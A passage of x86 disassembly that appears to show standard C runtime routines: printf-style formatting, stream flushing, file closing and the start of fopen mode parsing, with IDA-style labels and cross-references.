test byte ptr [ecx+eax*2+1], 80h
jz short loc_417F17
lea eax, [ebp+var_14]
push eax
push [ebp+arg_0]
movsx eax, bl
push eax
call sub_41848D
mov bl, [edi]
add esp, 0Ch
inc edi
mov [ebp+arg_4], edi
loc_417F17: ; CODE XREF: sub_417D4C+1B0j
lea eax, [ebp+var_14]
push eax
push [ebp+arg_0]
movsx eax, bl
push eax
call sub_41848D
add esp, 0Ch
jmp loc_418454 ; default
; ---------------------------------------------------------------------------
loc_417F2F: ; CODE XREF: sub_417D4C+6Ej
; DATA XREF: .nsp0:off_41846Do
movsx eax, bl ; jumptable 00417DBA case 7
cmp eax, 67h
jg loc_418157
cmp eax, 65h
jge loc_417FDA
cmp eax, 58h
jg loc_418038
jz loc_4181CB
sub eax, 43h
jz loc_417FFB
dec eax
dec eax
jz short loc_417FD0
dec eax
dec eax
jz short loc_417FD0
sub eax, 0Ch
jnz loc_418356
test word ptr [ebp+var_4], 830h
jnz short loc_417F79
or byte ptr [ebp+var_4+1], 8
loc_417F79: ; CODE XREF: sub_417D4C+227j
; sub_417D4C+42Aj
mov esi, [ebp+var_10]
cmp esi, 0FFFFFFFFh
jnz short loc_417F86
mov esi, 7FFFFFFFh
loc_417F86: ; CODE XREF: sub_417D4C+233j
lea eax, [ebp+arg_8]
push eax
call sub_41852B
test word ptr [ebp+var_4], 810h
pop ecx
mov ecx, eax
mov [ebp+var_8], ecx
jz loc_41819F
test ecx, ecx
jnz short loc_417FAE
mov ecx, off_437D8C
mov [ebp+var_8], ecx
loc_417FAE: ; CODE XREF: sub_417D4C+257j
mov [ebp+var_24], 1
mov eax, ecx
loc_417FB7: ; CODE XREF: sub_417D4C+282j
mov edx, esi
dec esi
test edx, edx
jz loc_418196
cmp word ptr [eax], 0
jz loc_418196
inc eax
inc eax
jmp short loc_417FB7
; ---------------------------------------------------------------------------
loc_417FD0: ; CODE XREF: sub_417D4C+212j
; sub_417D4C+216j
mov [ebp+var_34], 1
add bl, 20h
loc_417FDA: ; CODE XREF: sub_417D4C+1F2j
or [ebp+var_4], 40h
lea edi, [ebp+var_248]
cmp ecx, edx
mov [ebp+var_8], edi
jge loc_4180BE
mov [ebp+var_10], 6
jmp loc_4180CC
; ---------------------------------------------------------------------------
loc_417FFB: ; CODE XREF: sub_417D4C+20Aj
test word ptr [ebp+var_4], 830h
jnz short loc_418007
or byte ptr [ebp+var_4+1], 8
loc_418007: ; CODE XREF: sub_417D4C+2B5j
; sub_417D4C+2F4j
test word ptr [ebp+var_4], 810h
lea eax, [ebp+arg_8]
push eax
jz short loc_41804E
call sub_418548
push eax
lea eax, [ebp+var_248]
push eax
call sub_41D18F
add esp, 0Ch
mov [ebp+var_C], eax
test eax, eax
jge short loc_418061
mov [ebp+var_28], 1
jmp short loc_418061
; ---------------------------------------------------------------------------
loc_418038: ; CODE XREF: sub_417D4C+1FBj
sub eax, 5Ah
jz short loc_41806F
sub eax, 9
jz short loc_418007
dec eax
jz loc_418231
jmp loc_418356
; ---------------------------------------------------------------------------
loc_41804E: ; CODE XREF: sub_417D4C+2C5j
call sub_41852B
pop ecx
mov [ebp+var_248], al
mov [ebp+var_C], 1
loc_418061: ; CODE XREF: sub_417D4C+2E1j
; sub_417D4C+2EAj
lea eax, [ebp+var_248]
mov [ebp+var_8], eax
jmp loc_418356
; ---------------------------------------------------------------------------
loc_41806F: ; CODE XREF: sub_417D4C+2EFj
lea eax, [ebp+arg_8]
push eax
call sub_41852B
test eax, eax
pop ecx
jz short loc_4180B0
mov ecx, [eax+4]
test ecx, ecx
jz short loc_4180B0
test byte ptr [ebp+var_4+1], 8
jz short loc_4180A1
movsx eax, word ptr [eax]
shr eax, 1
mov [ebp+var_8], ecx
mov [ebp+var_C], eax
mov [ebp+var_24], 1
jmp loc_418356
; ---------------------------------------------------------------------------
loc_4180A1: ; CODE XREF: sub_417D4C+33Cj
and [ebp+var_24], 0
mov [ebp+var_8], ecx
movsx eax, word ptr [eax]
jmp loc_418353
; ---------------------------------------------------------------------------
loc_4180B0: ; CODE XREF: sub_417D4C+32Fj
; sub_417D4C+336j
mov eax, off_437D88
mov [ebp+var_8], eax
push eax
jmp loc_41814C
; ---------------------------------------------------------------------------
loc_4180BE: ; CODE XREF: sub_417D4C+29Dj
jnz short loc_4180CC
cmp bl, 67h
jnz short loc_4180CC
mov [ebp+var_10], 1
loc_4180CC: ; CODE XREF: sub_417D4C+2AAj
; sub_417D4C:loc_4180BEj ...
mov eax, [ebp+arg_8]
push [ebp+var_34]
add eax, 8
mov [ebp+arg_8], eax
push [ebp+var_10]
mov ecx, [eax-8]
mov [ebp+var_48], ecx
mov eax, [eax-4]
mov [ebp+var_44], eax
movsx eax, bl
push eax
lea eax, [ebp+var_248]
push eax
lea eax, [ebp+var_48]
push eax
call off_4380C8
mov esi, [ebp+var_4]
add esp, 14h
and esi, 80h
jz short loc_41811E
cmp [ebp+var_10], 0
jnz short loc_41811E
lea eax, [ebp+var_248]
push eax
call off_4380D4
pop ecx
loc_41811E: ; CODE XREF: sub_417D4C+3BCj
; sub_417D4C+3C2j
cmp bl, 67h
jnz short loc_418135
test esi, esi
jnz short loc_418135
lea eax, [ebp+var_248]
push eax
call off_4380CC
pop ecx
loc_418135: ; CODE XREF: sub_417D4C+3D5j
; sub_417D4C+3D9j
cmp [ebp+var_248], 2Dh
jnz short loc_41814B
or byte ptr [ebp+var_4+1], 1
lea edi, [ebp+var_247]
mov [ebp+var_8], edi
loc_41814B: ; CODE XREF: sub_417D4C+3F0j
push edi
loc_41814C: ; CODE XREF: sub_417D4C+36Dj
call sub_415CF0
pop ecx
jmp loc_418353
; ---------------------------------------------------------------------------
loc_418157: ; CODE XREF: sub_417D4C+1E9j
sub eax, 69h
jz loc_418231
sub eax, 5
jz loc_418207
dec eax
jz loc_4181F4
dec eax
jz short loc_4181C4
sub eax, 3
jz loc_417F79
dec eax
dec eax
jz loc_418235
sub eax, 3
jnz loc_418356
mov [ebp+var_2C], 27h
jmp short loc_4181D2
; ---------------------------------------------------------------------------
loc_418196: ; CODE XREF: sub_417D4C+270j
; sub_417D4C+27Aj
sub eax, ecx
sar eax, 1
jmp loc_418353
; ---------------------------------------------------------------------------
loc_41819F: ; CODE XREF: sub_417D4C+24Fj
test ecx, ecx
jnz short loc_4181AC
mov ecx, off_437D88
mov [ebp+var_8], ecx
loc_4181AC: ; CODE XREF: sub_417D4C+455j
mov eax, ecx
loc_4181AE: ; CODE XREF: sub_417D4C+46Fj
mov edx, esi
dec esi
test edx, edx
jz short loc_4181BD
cmp byte ptr [eax], 0
jz short loc_4181BD
inc eax
jmp short loc_4181AE
; ---------------------------------------------------------------------------
loc_4181BD: ; CODE XREF: sub_417D4C+467j
; sub_417D4C+46Cj
sub eax, ecx
jmp loc_418353
; ---------------------------------------------------------------------------
loc_4181C4: ; CODE XREF: sub_417D4C+425j
mov [ebp+var_10], 8
loc_4181CB: ; CODE XREF: sub_417D4C+201j
mov [ebp+var_2C], 7
loc_4181D2: ; CODE XREF: sub_417D4C+448j
test byte ptr [ebp+var_4], 80h
mov [ebp+var_C], 10h
jz short loc_41823C
mov al, byte ptr [ebp+var_2C]
mov [ebp+var_16], 30h
add al, 51h
mov [ebp+var_1C], 2
mov [ebp+var_15], al
jmp short loc_41823C
; ---------------------------------------------------------------------------
loc_4181F4: ; CODE XREF: sub_417D4C+41Ej
test byte ptr [ebp+var_4], 80h
mov [ebp+var_C], 8
jz short loc_41823C
or byte ptr [ebp+var_4+1], 2
jmp short loc_41823C
; ---------------------------------------------------------------------------
loc_418207: ; CODE XREF: sub_417D4C+417j
lea eax, [ebp+arg_8]
push eax
call sub_41852B
test byte ptr [ebp+var_4], 20h
pop ecx
jz short loc_418220
mov cx, word ptr [ebp+var_14]
mov [eax], cx
jmp short loc_418225
; ---------------------------------------------------------------------------
loc_418220: ; CODE XREF: sub_417D4C+4C9j
mov ecx, [ebp+var_14]
mov [eax], ecx
loc_418225: ; CODE XREF: sub_417D4C+4D2j
mov [ebp+var_28], 1
jmp loc_418454 ; default
; ---------------------------------------------------------------------------
loc_418231: ; CODE XREF: sub_417D4C+2F7j
; sub_417D4C+40Ej
or [ebp+var_4], 40h
loc_418235: ; CODE XREF: sub_417D4C+432j
mov [ebp+var_C], 0Ah
loc_41823C: ; CODE XREF: sub_417D4C+491j
; sub_417D4C+4A6j ...
test byte ptr [ebp+var_4+1], 80h
jz short loc_41824E
lea eax, [ebp+arg_8]
push eax
call sub_418538
pop ecx
jmp short loc_41828F
; ---------------------------------------------------------------------------
loc_41824E: ; CODE XREF: sub_417D4C+4F4j
test byte ptr [ebp+var_4], 20h
jz short loc_418275
test byte ptr [ebp+var_4], 40h
lea eax, [ebp+arg_8]
push eax
jz short loc_41826A
call sub_41852B
pop ecx
movsx eax, ax
loc_418267: ; CODE XREF: sub_417D4C+527j
; sub_417D4C+539j
cdq
jmp short loc_41828F
; ---------------------------------------------------------------------------
loc_41826A: ; CODE XREF: sub_417D4C+510j
call sub_41852B
pop ecx
movzx eax, ax
jmp short loc_418267
; ---------------------------------------------------------------------------
loc_418275: ; CODE XREF: sub_417D4C+506j
test byte ptr [ebp+var_4], 40h
lea eax, [ebp+arg_8]
push eax
jz short loc_418287
call sub_41852B
pop ecx
jmp short loc_418267
; ---------------------------------------------------------------------------
loc_418287: ; CODE XREF: sub_417D4C+531j
call sub_41852B
pop ecx
xor edx, edx
loc_41828F: ; CODE XREF: sub_417D4C+500j
; sub_417D4C+51Cj
test byte ptr [ebp+var_4], 40h
jz short loc_4182B0
test edx, edx
jg short loc_4182B0
jl short loc_41829F
test eax, eax
jnb short loc_4182B0
loc_41829F: ; CODE XREF: sub_417D4C+54Dj
neg eax
adc edx, 0
mov esi, eax
neg edx
or byte ptr [ebp+var_4+1], 1
mov edi, edx
jmp short loc_4182B4
; ---------------------------------------------------------------------------
loc_4182B0: ; CODE XREF: sub_417D4C+547j
; sub_417D4C+54Bj ...
mov esi, eax
mov edi, edx
loc_4182B4: ; CODE XREF: sub_417D4C+562j
test byte ptr [ebp+var_4+1], 80h
jnz short loc_4182BD
and edi, 0
loc_4182BD: ; CODE XREF: sub_417D4C+56Cj
cmp [ebp+var_10], 0
jge short loc_4182CC
mov [ebp+var_10], 1
jmp short loc_4182D0
; ---------------------------------------------------------------------------
loc_4182CC: ; CODE XREF: sub_417D4C+575j
and [ebp+var_4], 0FFFFFFF7h
loc_4182D0: ; CODE XREF: sub_417D4C+57Ej
mov eax, esi
or eax, edi
jnz short loc_4182DA
and [ebp+var_1C], 0
loc_4182DA: ; CODE XREF: sub_417D4C+588j
lea eax, [ebp+var_49]
mov [ebp+var_8], eax
loc_4182E0: ; CODE XREF: sub_417D4C+5DDj
mov eax, [ebp+var_10]
dec [ebp+var_10]
test eax, eax
jg short loc_4182F0
mov eax, esi
or eax, edi
jz short loc_41832B
loc_4182F0: ; CODE XREF: sub_417D4C+59Cj
mov eax, [ebp+var_C]
cdq
push edx
push eax
push edi
push esi
mov [ebp+var_40], eax
mov [ebp+var_3C], edx
call sub_417260
push [ebp+var_3C]
mov ebx, eax
add ebx, 30h
push [ebp+var_40]
push edi
push esi
call sub_4172E0
cmp ebx, 39h
mov esi, eax
mov edi, edx
jle short loc_418321
add ebx, [ebp+var_2C]
loc_418321: ; CODE XREF: sub_417D4C+5D0j
mov eax, [ebp+var_8]
dec [ebp+var_8]
mov [eax], bl
jmp short loc_4182E0
; ---------------------------------------------------------------------------
loc_41832B: ; CODE XREF: sub_417D4C+5A2j
lea eax, [ebp+var_49]
sub eax, [ebp+var_8]
inc [ebp+var_8]
test byte ptr [ebp+var_4+1], 2
mov [ebp+var_C], eax
jz short loc_418356
mov ecx, [ebp+var_8]
cmp byte ptr [ecx], 30h
jnz short loc_418349
test eax, eax
jnz short loc_418356
loc_418349: ; CODE XREF: sub_417D4C+5F7j
dec [ebp+var_8]
inc eax
mov ecx, [ebp+var_8]
mov byte ptr [ecx], 30h
loc_418353: ; CODE XREF: sub_417D4C+35Fj
; sub_417D4C+406j ...
mov [ebp+var_C], eax
loc_418356: ; CODE XREF: sub_417D4C+21Bj
; sub_417D4C+2FDj ...
cmp [ebp+var_28], 0
jnz loc_418454 ; default
mov ebx, [ebp+var_4]
test bl, 40h
jz short loc_41838E
test bh, 1
jz short loc_418373
mov [ebp+var_16], 2Dh
jmp short loc_418387
; ---------------------------------------------------------------------------
loc_418373: ; CODE XREF: sub_417D4C+61Fj
test bl, 1
jz short loc_41837E
mov [ebp+var_16], 2Bh
jmp short loc_418387
; ---------------------------------------------------------------------------
loc_41837E: ; CODE XREF: sub_417D4C+62Aj
test bl, 2
jz short loc_41838E
mov [ebp+var_16], 20h
loc_418387: ; CODE XREF: sub_417D4C+625j
; sub_417D4C+630j
mov [ebp+var_1C], 1
loc_41838E: ; CODE XREF: sub_417D4C+61Aj
; sub_417D4C+635j
mov esi, [ebp+var_20]
sub esi, [ebp+var_1C]
sub esi, [ebp+var_C]
test bl, 0Ch
jnz short loc_4183AE
lea eax, [ebp+var_14]
push eax
push [ebp+arg_0]
push esi
push 20h
call sub_4184C2
add esp, 10h
loc_4183AE: ; CODE XREF: sub_417D4C+64Ej
lea eax, [ebp+var_14]
push eax
lea eax, [ebp+var_16]
push [ebp+arg_0]
push [ebp+var_1C]
push eax
call sub_4184F3
add esp, 10h
test bl, 8
jz short loc_4183E0
test bl, 4
jnz short loc_4183E0
lea eax, [ebp+var_14]
push eax
push [ebp+arg_0]
push esi
push 30h
call sub_4184C2
add esp, 10h
loc_4183E0: ; CODE XREF: sub_417D4C+67Bj
; sub_417D4C+680j
cmp [ebp+var_24], 0
jz short loc_418427
cmp [ebp+var_C], 0
jle short loc_418427
mov eax, [ebp+var_C]
mov ebx, [ebp+var_8]
lea edi, [eax-1]
loc_4183F5: ; CODE XREF: sub_417D4C+6D7j
mov ax, [ebx]
inc ebx
push eax
lea eax, [ebp+var_38]
push eax
inc ebx
call sub_41D18F
pop ecx
test eax, eax
pop ecx
jle short loc_41843C
lea ecx, [ebp+var_14]
push ecx
push [ebp+arg_0]
push eax
lea eax, [ebp+var_38]
push eax
call sub_4184F3
add esp, 10h
mov eax, edi
dec edi
test eax, eax
jnz short loc_4183F5
jmp short loc_41843C
; ---------------------------------------------------------------------------
loc_418427: ; CODE XREF: sub_417D4C+698j
; sub_417D4C+69Ej
lea eax, [ebp+var_14]
push eax
push [ebp+arg_0]
push [ebp+var_C]
push [ebp+var_8]
call sub_4184F3
add esp, 10h
loc_41843C: ; CODE XREF: sub_417D4C+6BCj
; sub_417D4C+6D9j
test byte ptr [ebp+var_4], 4
jz short loc_418454 ; default
lea eax, [ebp+var_14]
push eax
push [ebp+arg_0]
push esi
push 20h
call sub_4184C2
add esp, 10h
loc_418454: ; CODE XREF: sub_417D4C+68j
; sub_417D4C+8Bj ...
mov edi, [ebp+arg_4] ; default
mov bl, [edi]
inc edi
test bl, bl
mov [ebp+arg_4], edi
jnz loc_417D78
loc_418465: ; CODE XREF: sub_417D4C+1Fj
; sub_417D4C+37j
mov eax, [ebp+var_14]
pop edi
pop esi
pop ebx
leave
retn
sub_417D4C endp
; ---------------------------------------------------------------------------
off_41846D dd offset loc_417EEB ; DATA XREF: sub_417D4C+6Er
dd offset loc_417DC1 ; jump table for switch statement
dd offset loc_417DDC
dd offset loc_417E28
dd offset loc_417E5F
dd offset loc_417E67
dd offset loc_417E9C
dd offset loc_417F2F
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41848D proc near ; CODE XREF: sub_417D4C+1BDp
; sub_417D4C+1D6p ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
mov ecx, [ebp+arg_4]
dec dword ptr [ecx+4]
js short loc_4184A6
mov edx, [ecx]
mov al, byte ptr [ebp+arg_0]
mov [edx], al
inc dword ptr [ecx]
movzx eax, al
jmp short loc_4184B1
; ---------------------------------------------------------------------------
loc_4184A6: ; CODE XREF: sub_41848D+9j
push ecx
push [ebp+arg_0]
call sub_417C37
pop ecx
pop ecx
loc_4184B1: ; CODE XREF: sub_41848D+17j
cmp eax, 0FFFFFFFFh
mov eax, [ebp+arg_8]
jnz short loc_4184BE
or dword ptr [eax], 0FFFFFFFFh
pop ebp
retn
; ---------------------------------------------------------------------------
loc_4184BE: ; CODE XREF: sub_41848D+2Aj
inc dword ptr [eax]
pop ebp
retn
sub_41848D endp
; =============== S U B R O U T I N E =======================================
sub_4184C2 proc near ; CODE XREF: sub_417D4C+65Ap
; sub_417D4C+68Cp ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
arg_C = dword ptr 10h
push esi
push edi
mov edi, [esp+8+arg_4]
mov eax, edi
dec edi
test eax, eax
jle short loc_4184F0
mov esi, [esp+8+arg_C]
loc_4184D3: ; CODE XREF: sub_4184C2+2Cj
push esi
push [esp+0Ch+arg_8]
push [esp+10h+arg_0]
call sub_41848D
add esp, 0Ch
cmp dword ptr [esi], 0FFFFFFFFh
jz short loc_4184F0
mov eax, edi
dec edi
test eax, eax
jg short loc_4184D3
loc_4184F0: ; CODE XREF: sub_4184C2+Bj
; sub_4184C2+25j
pop edi
pop esi
retn
sub_4184C2 endp
; =============== S U B R O U T I N E =======================================
sub_4184F3 proc near ; CODE XREF: sub_417D4C+670p
; sub_417D4C+6CAp ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
arg_C = dword ptr 10h
push ebx
mov ebx, [esp+4+arg_4]
mov eax, ebx
dec ebx
push esi
push edi
test eax, eax
jle short loc_418527
mov edi, [esp+0Ch+arg_C]
mov esi, [esp+0Ch+arg_0]
loc_418509: ; CODE XREF: sub_4184F3+32j
movsx eax, byte ptr [esi]
push edi
inc esi
push [esp+10h+arg_8]
push eax
call sub_41848D
add esp, 0Ch
cmp dword ptr [edi], 0FFFFFFFFh
jz short loc_418527
mov eax, ebx
dec ebx
test eax, eax
jg short loc_418509
loc_418527: ; CODE XREF: sub_4184F3+Cj
; sub_4184F3+2Bj
pop edi
pop esi
pop ebx
retn
sub_4184F3 endp
; =============== S U B R O U T I N E =======================================
sub_41852B proc near ; CODE XREF: sub_417D4C+E5p
; sub_417D4C+124p ...
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
add dword ptr [eax], 4
mov eax, [eax]
mov eax, [eax-4]
retn
sub_41852B endp
; =============== S U B R O U T I N E =======================================
sub_418538 proc near ; CODE XREF: sub_417D4C+4FAp
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
add dword ptr [eax], 8
mov ecx, [eax]
mov eax, [ecx-8]
mov edx, [ecx-4]
retn
sub_418538 endp
; =============== S U B R O U T I N E =======================================
sub_418548 proc near ; CODE XREF: sub_417D4C+2C7p
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
add dword ptr [eax], 4
mov eax, [eax]
mov ax, [eax-4]
retn
sub_418548 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_418556 proc near ; CODE XREF: sub_4159D4+17p
; sub_4159D4+58p ...
var_4 = byte ptr -4
var_3 = byte ptr -3
var_2 = byte ptr -2
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
mov eax, [ebp+arg_0]
lea ecx, [eax+1]
cmp ecx, 100h
ja short loc_418574
mov ecx, off_437D90
movzx eax, word ptr [ecx+eax*2]
jmp short loc_4185C6
; ---------------------------------------------------------------------------
loc_418574: ; CODE XREF: sub_418556+10j
mov ecx, eax
push esi
mov esi, off_437D90
sar ecx, 8
movzx edx, cl
test byte ptr [esi+edx*2+1], 80h
pop esi
jz short loc_418599
and [ebp+var_2], 0
mov [ebp+var_4], cl
mov [ebp+var_3], al
push 2
jmp short loc_4185A2
; ---------------------------------------------------------------------------
loc_418599: ; CODE XREF: sub_418556+33j
and [ebp+var_3], 0
mov [ebp+var_4], al
push 1
loc_4185A2: ; CODE XREF: sub_418556+41j
pop eax
lea ecx, [ebp+arg_0+2]
push 1
push 0
push 0
push ecx
push eax
lea eax, [ebp+var_4]
push eax
push 1
call sub_41D1F7
add esp, 1Ch
test eax, eax
jnz short loc_4185C2
leave
retn
; ---------------------------------------------------------------------------
loc_4185C2: ; CODE XREF: sub_418556+68j
movzx eax, word ptr [ebp+arg_0+2]
loc_4185C6: ; CODE XREF: sub_418556+1Cj
and eax, [ebp+arg_4]
leave
retn
sub_418556 endp
; =============== S U B R O U T I N E =======================================
sub_4185CB proc near ; CODE XREF: sub_415B40+2Ap
; sub_41D55A+290p
arg_0 = dword ptr 4
push ebx
push ebp
push esi
push edi
mov edi, [esp+10h+arg_0]
cmp edi, dword_46A8E0
jnb loc_418665
mov eax, edi
mov esi, edi
sar eax, 5
and esi, 1Fh
lea ebx, ds:46A7E0h[eax*4]
shl esi, 3
mov eax, [ebx]
test byte ptr [eax+esi+4], 1
jz short loc_418665
push edi
call sub_41D4C6
cmp eax, 0FFFFFFFFh
pop ecx
jz short loc_418644
cmp edi, 1
jz short loc_418612
cmp edi, 2
jnz short loc_418628
loc_418612: ; CODE XREF: sub_4185CB+40j
push 2
call sub_41D4C6
push 1
mov ebp, eax
call sub_41D4C6
pop ecx
cmp eax, ebp
pop ecx
jz short loc_418644
loc_418628: ; CODE XREF: sub_4185CB+45j
push edi
call sub_41D4C6
pop ecx
push eax
call dword_42106C
test eax, eax
jnz short loc_418644
call dword_421088
mov ebp, eax
jmp short loc_418646
; ---------------------------------------------------------------------------
loc_418644: ; CODE XREF: sub_4185CB+3Bj
; sub_4185CB+5Bj ...
xor ebp, ebp
loc_418646: ; CODE XREF: sub_4185CB+77j
push edi
call sub_41D44C
mov eax, [ebx]
pop ecx
and byte ptr [eax+esi+4], 0
test ebp, ebp
jz short loc_418661
push ebp
call sub_41C5D7
pop ecx
jmp short loc_418676
; ---------------------------------------------------------------------------
loc_418661: ; CODE XREF: sub_4185CB+8Bj
xor eax, eax
jmp short loc_418679
; ---------------------------------------------------------------------------
loc_418665: ; CODE XREF: sub_4185CB+Ej
; sub_4185CB+2Fj
and dword_4694B8, 0
mov dword_4694B4, 9
loc_418676: ; CODE XREF: sub_4185CB+94j
or eax, 0FFFFFFFFh
loc_418679: ; CODE XREF: sub_4185CB+98j
pop edi
pop esi
pop ebp
pop ebx
retn
sub_4185CB endp
; =============== S U B R O U T I N E =======================================
sub_41867E proc near ; CODE XREF: sub_415B40+22p
arg_0 = dword ptr 4
push esi
mov esi, [esp+4+arg_0]
mov eax, [esi+0Ch]
test al, 83h
jz short loc_4186A7
test al, 8
jz short loc_4186A7
push dword ptr [esi+8]
call sub_415E3D
and word ptr [esi+0Ch], 0FBF7h
xor eax, eax
pop ecx
mov [esi], eax
mov [esi+8], eax
mov [esi+4], eax
loc_4186A7: ; CODE XREF: sub_41867E+Aj
; sub_41867E+Ej
pop esi
retn
sub_41867E endp
; =============== S U B R O U T I N E =======================================
sub_4186A9 proc near ; CODE XREF: sub_418749+2Dp
; sub_418749+48p
arg_0 = dword ptr 4
push esi
mov esi, [esp+4+arg_0]
test esi, esi
jnz short loc_4186BB
push esi
call sub_418749
pop ecx
pop esi
retn
; ---------------------------------------------------------------------------
loc_4186BB: ; CODE XREF: sub_4186A9+7j
push esi
call sub_4186E4
test eax, eax
pop ecx
jz short loc_4186CB
or eax, 0FFFFFFFFh
pop esi
retn
; ---------------------------------------------------------------------------
loc_4186CB: ; CODE XREF: sub_4186A9+1Bj
test byte ptr [esi+0Dh], 40h
jz short loc_4186E0
push dword ptr [esi+10h]
call sub_41D503
neg eax
pop ecx
pop esi
sbb eax, eax
retn
; ---------------------------------------------------------------------------
loc_4186E0: ; CODE XREF: sub_4186A9+26j
xor eax, eax
pop esi
retn
sub_4186A9 endp
; =============== S U B R O U T I N E =======================================
sub_4186E4 proc near ; CODE XREF: sub_415B40+1Ap
; sub_416E3E+37p ...
arg_0 = dword ptr 4
push ebx
push esi
mov esi, [esp+8+arg_0]
xor ebx, ebx
push edi
mov eax, [esi+0Ch]
mov ecx, eax
and ecx, 3
cmp cl, 2
jnz short loc_418731
test ax, 108h
jz short loc_418731
mov eax, [esi+8]
mov edi, [esi]
sub edi, eax
test edi, edi
jle short loc_418731
push edi
push eax
push dword ptr [esi+10h]
call sub_41C42A
add esp, 0Ch
cmp eax, edi
jnz short loc_41872A
mov eax, [esi+0Ch]
test al, 80h
jz short loc_418731
and al, 0FDh
mov [esi+0Ch], eax
jmp short loc_418731
; ---------------------------------------------------------------------------
loc_41872A: ; CODE XREF: sub_4186E4+36j
or dword ptr [esi+0Ch], 20h
or ebx, 0FFFFFFFFh
loc_418731: ; CODE XREF: sub_4186E4+14j
; sub_4186E4+1Aj ...
mov eax, [esi+8]
and dword ptr [esi+4], 0
mov [esi], eax
pop edi
mov eax, ebx
pop esi
pop ebx
retn
sub_4186E4 endp
; =============== S U B R O U T I N E =======================================
sub_418740 proc near ; CODE XREF: sub_41D17Bp
push 1
call sub_418749
pop ecx
retn
sub_418740 endp
; =============== S U B R O U T I N E =======================================
sub_418749 proc near ; CODE XREF: sub_4186A9+Ap
; sub_418740+2p
arg_0 = dword ptr 4
push ebx
push esi
push edi
xor esi, esi
xor ebx, ebx
xor edi, edi
cmp dword_46A7C0, esi
jle short loc_4187A7
loc_41875A: ; CODE XREF: sub_418749+5Cj
mov eax, dword_4697A0
mov eax, [eax+esi*4]
test eax, eax
jz short loc_41879E
mov ecx, [eax+0Ch]
test cl, 83h
jz short loc_41879E
cmp [esp+0Ch+arg_0], 1
jnz short loc_418784
push eax
call sub_4186A9
cmp eax, 0FFFFFFFFh
pop ecx
jz short loc_41879E
inc ebx
jmp short loc_41879E
; ---------------------------------------------------------------------------
loc_418784: ; CODE XREF: sub_418749+2Aj
cmp [esp+0Ch+arg_0], 0
jnz short loc_41879E
test cl, 2
jz short loc_41879E
push eax
call sub_4186A9
cmp eax, 0FFFFFFFFh
pop ecx
jnz short loc_41879E
or edi, eax
loc_41879E: ; CODE XREF: sub_418749+1Bj
; sub_418749+23j ...
inc esi
cmp esi, dword_46A7C0
jl short loc_41875A
loc_4187A7: ; CODE XREF: sub_418749+Fj
cmp [esp+0Ch+arg_0], 1
mov eax, ebx
jz short loc_4187B2
mov eax, edi
loc_4187B2: ; CODE XREF: sub_418749+65j
pop edi
pop esi
pop ebx
retn
sub_418749 endp
; =============== S U B R O U T I N E =======================================
sub_4187B6 proc near ; CODE XREF: sub_415B96+8p
arg_0 = dword ptr 4
push esi
mov esi, [esp+4+arg_0]
push dword ptr [esi+10h]
call sub_41D0B0
test eax, eax
pop ecx
jz short loc_41883F
cmp esi, offset dword_4384A8
jnz short loc_4187D4
xor eax, eax
jmp short loc_4187DF
; ---------------------------------------------------------------------------
loc_4187D4: ; CODE XREF: sub_4187B6+18j
cmp esi, offset dword_4384C8
jnz short loc_41883F
push 1
pop eax
loc_4187DF: ; CODE XREF: sub_4187B6+1Cj
inc dword_469674
test word ptr [esi+0Ch], 10Ch
jnz short loc_41883F
cmp dword_46950C[eax*4], 0
push ebx
push edi
lea edi, ds:46950Ch[eax*4]
mov ebx, 1000h
jnz short loc_418825
push ebx
call sub_415DC9
test eax, eax
pop ecx
mov [edi], eax
jnz short loc_418825
lea eax, [esi+14h]
push 2
mov [esi+8], eax
mov [esi], eax
pop eax
mov [esi+18h], eax
mov [esi+4], eax
jmp short loc_418832
; ---------------------------------------------------------------------------
loc_418825: ; CODE XREF: sub_4187B6+4Dj
; sub_4187B6+5Aj
mov edi, [edi]
mov [esi+18h], ebx
mov [esi+8], edi
mov [esi], edi
mov [esi+4], ebx
loc_418832: ; CODE XREF: sub_4187B6+6Dj
or word ptr [esi+0Ch], 1102h
push 1
pop eax
pop edi
pop ebx
pop esi
retn
; ---------------------------------------------------------------------------
loc_41883F: ; CODE XREF: sub_4187B6+10j
; sub_4187B6+24j ...
xor eax, eax
pop esi
retn
sub_4187B6 endp
; =============== S U B R O U T I N E =======================================
sub_418843 proc near ; CODE XREF: sub_415B96+24p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
cmp [esp+arg_0], 0
push esi
jz short loc_41886D
mov esi, [esp+4+arg_4]
test byte ptr [esi+0Dh], 10h
jz short loc_41887E
push esi
call sub_4186E4
and byte ptr [esi+0Dh], 0EEh
and dword ptr [esi+18h], 0
and dword ptr [esi], 0
and dword ptr [esi+8], 0
pop ecx
pop esi
retn
; ---------------------------------------------------------------------------
loc_41886D: ; CODE XREF: sub_418843+6j
mov eax, [esp+4+arg_4]
test byte ptr [eax+0Dh], 10h
jz short loc_41887E
push eax
call sub_4186E4
pop ecx
loc_41887E: ; CODE XREF: sub_418843+10j
; sub_418843+32j
pop esi
retn
sub_418843 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_418880 proc near ; CODE XREF: sub_415BC8+17p
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
push esi
mov esi, dword_46967C
push edi
mov edi, [ebp+arg_4]
xor ebx, ebx
mov [ebp+var_8], ebx
mov [ebp+var_4], ebx
mov al, [edi]
cmp al, 61h
jz short loc_4188B9
cmp al, 72h
jz short loc_4188B2
cmp al, 77h
jnz loc_4189CD
mov ecx, 301h
jmp short loc_4188BE
; ---------------------------------------------------------------------------
loc_4188B2: ; CODE XREF: sub_418880+21j
xor ecx, ecx
or esi, 1
jmp short loc_4188C1
; ---------------------------------------------------------------------------
loc_4188B9: ; CODE XREF: sub_418880+1Dj
mov ecx, 109h
